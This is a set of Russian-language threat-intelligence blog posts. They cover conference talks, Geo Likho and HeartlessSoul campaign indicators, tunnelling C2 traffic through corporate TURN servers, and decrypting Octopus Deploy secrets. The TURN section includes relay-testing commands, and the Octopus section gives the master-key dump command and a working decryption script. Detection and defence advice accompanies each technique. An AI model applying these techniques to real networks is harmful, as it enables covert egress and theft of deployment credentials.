purple shift

На грядущей конференции OFFZONE наши эксперты будут рассказывать не только про искусственный интеллект, но и про вещи более доступные. Иногда даже чересчур доступные.

Александр Забровский. "Три поисковика, одна поверхность: как мы дружили три device search engines" (20 августа, 15:45–16:15)

Attack Surface Management — это непрерывный процесс обнаружения, инвентаризации и мониторинга публично доступных цифровых активов и приоритизация связанных с ними рисков. Для такой работы используются специализированные поисковики устройств типа Shodan.

При построении своего сервиса ASM команда Александра использовала три принципиально разных поисковика, чтобы получить больше результатов. Однако это создало множество нюансов при обработке данных: разные даты сканирования и география сканирования, разные форматы данных, покрытие портов\сервисов и пр. Данные интерпретируются источниками по-разному, появляется много противоречий.

В докладе будет рассказано, как эксперты подружили разные источники, реализовали нормализацию и дедупликацию — и получили более полную картину, чем давал каждый из поисковиков в отдельности.

Алина Суханова. "Эскалация через 1С: расследование и защита" (21 августа, 11:30–12:00)

Атаки с использованием уязвимостей программного обеспечения "1С:Предприятие" не теряют популярности в 2026 году. Что неудивительно, поскольку именно эти решения являются основными на рынке систем управления ресурсами предприятия (ERP) в России.

При этом, как мы уже рассказывали, компрометация серверов 1С не требует особо сложных техник. Атакующие используют тривиальные ошибки в настройках — такие, как учётки с пустым паролем. В своём докладе Алина покажет примеры мисконфигураций 1С, которые используют злоумышленники, и расскажет, как можно предотвратить развитие подобных атак.

Про искусственный интеллект теперь вещают из каждого утюга — и мы не хотим отставать от утюгов! На конференции OFFZONE 2026 в следующий четверг наши эксперты представят два доклада о том, как ML и LLM облегчают тяжёлую работу SOC:

Артемий Обухов. "Генерация фильтров на практике: от алгоритмов к LLM" (20 августа, 12:20–12:45)

Аналитики SOC ежедневно разбирают сотни срабатываний, большинство из которых ложные. Закрытие каждого такого срабатывания отдельным фильтром вручную — рутинная и трудоемкая задача.

Артемий расскажет, как был автоматизирован этот процесс: система сама предлагает готовые фильтры, а аналитику остается выбрать подходящий. Обсудим, как формализовать задачу, генерировать и оценивать фильтры, а также сравним два подхода — алгоритмический пайплайн и LLM, их преимущества, ограничения и результаты на реальных кейсах.

Дмитрий Аникин, Денис Кулик. "You Shall Not Pass… Laterally: как мы ловим боковое перемещение с помощью ML‑инструментов" (20 августа, 13:40–14:05)

Для продвижения вглубь скомпрометированной системы злоумышленники часто используют легитимные инструменты и вообще ведут себя почти как легитимные пользователи, поэтому выявлять такую активность весьма непросто. В этом докладе предлагается взгляд на проблему с двух точек зрения: SOC‑аналитика и AI‑разработчика.

Денис и Дмитрий расскажут, как создавались ML‑инструменты для решения этой задачи, как они чуть не утонули в количестве данных, почему аномалии по IP‑адресам тут скорее вредят и почему контекст и AI‑предрасследование не менее важны, чем сам детект.

Заходите послушать!

Наши эксперты зафиксировали свежую фишинговую кампанию, идущую с середины июля, которую мы с высокой уверенностью атрибутируем группировке Geo Likho.

Под удар злоумышленников на этот раз попали организации из разных сфер: медицинские и исследовательские центры, образовательные учреждения, телеком-операторы, промышленные предприятия и НПО. Основная цель группы — кража данных.

Вектор атаки не претерпел значительных изменений по сравнению с уже описанными атаками этой группировки на российский авиапром:

— Жертвам приходит фишинговое письмо, содержащее ссылку на .rar-архив с обфусцированным .VBE-дроппером (VBScript Encoded) внутри.

— Дроппер загружает в папку %LOCALAPPDATA%\Temp второй компонент атаки: написаный на Delphi вредонос с функционалом стилера и загрузчика.

— В директорию %PROGRAMDATA%\python10.13\ загружается третий компонент атаки: написанный на C++ стилер (функционал схож с предыдущим).

— Закрепление происходит с помощью создания .lnk-файла в папке автозапуска: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\python10.13.lnk

Как детектировать

Рекомендуем использовать следующие индикаторы компрометации:

VBE-загрузчики — все образцы называются "текст договора (новая версия).vbe":

7e976b433818ed32e24e410053c9c9e4
fdb6a82b09a5a4d7765fdbd94db5a365
ac552b6693e424bf016fb21541ba0d42
59c86eb4bd9a7996cba9f1ae51c5e967
63481a4d3658c8e3837fb62c70584f7f
57449ed659ba464d581b9f02101b230c
9f6ef70396c82a72e1722338abbf2e92
0e227d79861d73867c2b813471e2a87c
7737fbba797c1c40178fb83571a73f86
931be9937963c527d1d77c25aad17d20
85a52a578c92c1907daa22b8903e4329
c98e6cdca3490332e2236f07ae0f8547
8e36c9e874b895d787c8153c1e5104f1
8724b6818e42d5e4f0a44bb59e0a7bbf
70408b105aef9285ec99991588a8d37a
59a3303e71256c9fe9fd3fe05f8bb019
9d3107278be12f65fc7922a03c696a80
6925b782ec219d84c7a775d865994ab6
a0274f92706e608412cbcf820ffa0fba
22cdf62205a48ff675bd0656f4672314
bd2b074b8e310534654725dd90843331
aba924e3acfcaecbc6a532ca4789b990
f71225ac09fb9e8fc77b7ccdddbfcd20
e6def442905f7664525882141d7ca374
dadcc70014bab6281e59348ad65d8b07
d2818f0dad2d5e0a8ef1eb13c0d0f37c
8a18931626f39234e0bd86b4bbbddb30
414436bffc2c4409e7f69ed06914468e
24442b12a5e9e4b0e855ee9ad8a32c60

Delphi-компонент (Dogovor.exe):

f1371d9d26cf44838327abb44bb76381
9f467928101fd6815ff12dcd29ebf9ba
1a4fc29c4830c4fcd546894792962e6c
c740447b33778d7048032e6d7381d77b
8c644df7c16d60837646866e427eedd5
9cf02bc4ac055c517e8d83df99fc75c4
53c0dbf6b82ccff57ef97f62e9bc739f
6d6148c2428be3f526a8e9b6c9a5f8c4
3304032b9a2f5c7a98f68ca20f509588
17131e8331ade8c428d536b988dd4245

C++ -компонент (python10.13.exe):

0fbf6efb41529a904db288fc5af7339b
f1906a6953af3c54fe09e28157460267
b3b0b39557e10abe431336269b477657
dec98e8473a4f0a71eaa573514cfbeac
c167b1113a9e724a294c7bd0234440fc

Сетевые индикаторы:

saratov-adm[.]net
nn-prom[.]com
ufa-oboron[.]com
samara-prom[.]net
marinesogaz[.]net
tambov-energo[.]com

Когда в проектах по анализу защищённости мы получаем RCE и пробиваем внешний периметр, возникает вопрос — есть ли на пробитом хосте выход в Интернет? Если есть, мы сможем установить быстрый канал с C2-сервером, настроить SOCKS-прокси для других тулов и продолжать работы. Но хост может оказаться глубоко в локальной сети, а доступ в Интернет — сильно порезан.

И тут полезно проверить, есть ли у заказчика специальный хост-ретранслятор для видеоконференций (ВКС) на внешнем периметре. Такие хосты называются TURN-серверами и используются для связи абонентов, которые не имеют прямой видимости, то есть находятся за NAT-ом. Но злоумышленники могут использовать такой сервер для своих целей.

Как это работает:

В WebRTC-звонках есть несколько важных сущностей.

— Signal plane: канал, через который клиенты получают параметры звонка, адреса TURN-серверов и креды;

— ICE (Interactive Connectivity Establishment): механизм, который определяет, как пирам установить наибыстрейшее соединение;

— Host candidate: пиры видят друг друга в локальной сети;

— Reflexive/STUN: пиры за NAT, но достижимы через внешний адрес;

— TURN: трафик идёт через промежуточный relay-сервер.

Если прямая связь невозможна из-за NAT/firewall, клиент отправляет на TURN запрос Allocate Request, передаёт креды и получает relay-адрес. Дальше данные идут через Send Indication или ChannelData.

Сетевой администратор может открыть доступ из внутренней сети до TURN-сервера как раз для этого, чтобы сотрудники могли пользоваться видеоконференциями. Однако у TURN-серверов есть фича перенаправления трафика, и она может быть использована для проксирования трафика куда угодно, в том числе и на наш C2.

Условия эксплуатации:

— есть RCE/foothold на внутреннем хосте;
— с него доступен TURN-сервер;
— TURN-сервер находится на внешнем периметре (виден из Интернета);
— известны turn_user / turn_pass;
— TURN разрешает relay на внешний white_ip:port.

Наличие TURN-сервера мы определяем на этапе разведки. Чтобы проверить TURN на внешнем периметре, можно использовать stunner:

stunner info -turnserver :

Если TURN настроен с аутентификацией (как правило, это так), нужно подключиться к ВКС и получить логин/пароль доступа к TURN из signal plane. Затем можно проверить возможность ретрансляции на внешние адреса:

turnutils_uclient -n 1 -I -c \
-u \
-w \
-e \
-r \
-p \


Если вы видите трафик на white_ip:port от TURN-сервера, значит, проксирование возможно. Поэтому идём дальше:

— используем креды, полученные через signal plane,
— с пробитого хоста отправляем Allocate Request на TURN,
— в качестве destination указываем свой внешний хост, и
— TURN начинает ретранслировать трафик наружу.

Плюс такого метода: получаем дополнительный канал egress, когда прямой Интернет или корпоративная прокси недоступны.

Минусы: скорость ниже, чем у SOCKS/proxy; TURN-креды имеют срок действия; после expiration date нужно заново поднимать канал.

Как ловить атаку:

Мониторить исходящий трафик с TURN-сервера. Если TURN ходит на неизвестные внешние IP, если есть пакеты ChannelData и Send Indication не в сторону вашей инфры — это верный признак того, что кто-то проксируется через ваш TURN.

Как реагировать:

— проверить, какие внутренние хосты инициировали Allocate Request;
— сопоставить время активности с реальными ВКС-сессиями;
— найти внешний white_ip, куда TURN ретранслировал трафик;
— отозвать/обновить TURN-креды;
— ограничить relay только на ожидаемые направления;
— проверить пробитый хост на RCE/foothold.

А ещё полезно запретить анонимные звонки в вашей ВКС. Это усложнит жизнь злоумышленнику: в таком случае ему ещё надо найти креды от звонка, а уже потом по signal plane получить TURN-креды.

Использование злоумышленниками блокчейна для передачи адресов командных центров (C2) постепенно становится не экзотикой, а рабочей техникой обхода блокировок. Согласно нашей телеметрии, вредоносы группировки HeartlessSoul с начала июня начали обращаться к блокчейн-платформе BNB Smart Chain для получения актуальных адресов C2.

Обфусцированный JavaScript-загрузчик обращался к данным транзакции в блокчейне, извлекал из них адреса C2 и продолжал выполнение цепочки заражения. Если получить данные не удавалось, использовался резервный C2-домен, захардкоженный в коде. Ранее для этой же цели атакующие использовали блокчейн Solana.

Главная ценность такой техники для атакующих — не анонимность блокчейна, а возможность хранить и обновлять C2 на инфраструктуре, которую сложно заблокировать без риска нарушить работу легитимных сервисов.

Первоначальный вектор атак группировки не изменился: HeartlessSoul продолжает распространять вредоносные MSI/XLL/LNK-файлы через фишинговые письма и мессенджер Telegram (ниже приведены примеры используемых приманок).

Затем, используя команду Powershell, вредоносный файл загружает на систему жертвы JavaScript-загрузчик, который в свою очередь загружает с C2-сервера и выполняет в памяти дополнительные модули для кражи данных и эксфильтрации.

Detection & Threat Hunting

APT-группировки используют блокчейн не только для скрытной передачи C2-адресов, но и для хранения и доставки вредоносной нагрузки (техника EtherHiding, которую использует, например, группировка UNC5342). Оба сценария уже стоит учитывать при построении процессов выявления угроз.

Один из вариантов детектирования — мониторинг обращений к легитимным сервисам блокчейн-инфраструктуры, особенно если такие подключения инициируются офисными приложениями, скриптовыми интерпретаторами или другими нетипичными процессами. Например, в активности HeartlessSoul были замечены обращения к следующим ресурсам:

api.mainnet-beta.solana.com
bsc-rpc.publicnode.com

Мониторинг обращений к API блокчейн-эксплореров и RPC-нодам различных провайдеров (например, bsc-testnet-rpc.publicnode.com, ethereum-rpc.publicnode.com, ethereum-sepolia-rpc.publicnode.com, api.bscscan.com, api.testnet.solana.com, bsc.meowrpc.com, bsc-dataseed.binance.org и др.) может помочь выявить нетипичную активность, особенно если такие соединения инициируются msiexec.exe, wscript.exe, cscript.exe, powershell.exe, node.exe, rundll32.exe или офисными приложениями.

IoCs, связанные с последней активностью HeartlessSoul:

Имена файлов-приманок:
акт передачи 08.07.2026.docx.lnk
сброс мавик 3.0.stl.lnk
ведомость.docx.lnk
Пояснение письменно.xll
Пояснение.xll
Пример пояснение.xll
Technical Overview Технический профиль.xll

Домены С2:
healthydefinitetrunk[.]com
habitsunrisenatureknee[.]com
themostbeautifulspark[.]com

Octopus Deploy — один из популярных инструментов для автоматизации развертывания приложений и управления CI/CD-процессами. Внутри себя Octopus может оркестрировать пайплайны, следить за релизами, развертывать приложения и хранить конфигурации и секреты для деплоя.

При этом злоумышленники могут добыть ценные данные из Octopus, даже если у них нет доступа к веб-версии инструмента. Все конфигурационные секреты Octopus хранит в отдельной базе данных, дополнительно шифруя их с помощью AES. Если злоумышленник получит доступ к системе, на которой развернут Octopus (с помощью дефолтных учетных данных или любой серверной уязвимости) — он может получить доступ к мастер-ключу, на котором шифруется база данных:
C:\Program Files\Octopus Deploy\Octopus\Octopus.Server show-master-key

Далее ему нужно будет получить доступ к базе, где хранятся данные от Octopus — и, с учетом нахождения ключа AES, расшифровать их. Самые интересные данные лежат в следующих таблицах:

dbo.Project — список проектов,
dbo.Machine — список машин внутри кубера или другой системы,
dbo.VariableSet — список переменных,
dbo.Proxy — настройки прокcи,
dbo.Account — список пользователей для управления CI/CD,
dbo.User — список внутренних пользователей Octopus.

Декодирование ключей из Octopus можно сделать вот так:
import sys
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# Check for input argument
if len(sys.argv) < 3:
print("Usage: python decrypt.py ")
sys.exit(1)

# Get master key from first CLI argument
base64_key = sys.argv[1]

# Get encoded_variable from second CLI argument
encoded_variable = sys.argv[2]

# Split encoded_variable into parts
cipher_data_b64, cipher_salt_b64 = encoded_variable.split('|')

# Decode from Base64
cipher_data = base64.b64decode(cipher_data_b64)
cipher_salt = base64.b64decode(cipher_salt_b64)
cipher_key = base64.b64decode(base64_key)

# AES decryption setup
cipher = AES.new(cipher_key, AES.MODE_CBC, iv=cipher_salt)
decrypted = cipher.decrypt(cipher_data)

# Unpad decrypted data
decrypted_value = unpad(decrypted, AES.block_size).decode('utf-8')

Как защищаться?

Со стороны Octopus.Server:

— разрешить доступ к управляющим портам сервера с Octopus только с выделенных IP-адресов,
— отслеживать запуск утилиты Octopus.Server,
— использовать для запуска сервиса только разрешенные gMSA учетные записи.

Со стороны базы данных:

— разрешить соединения с БД только со стороны сервера Octopus,
— логировать любые SELECT/UPDATE в критичных таблицах,
— настроить алерты на изменение данных или создание новых пользователей внутри БД.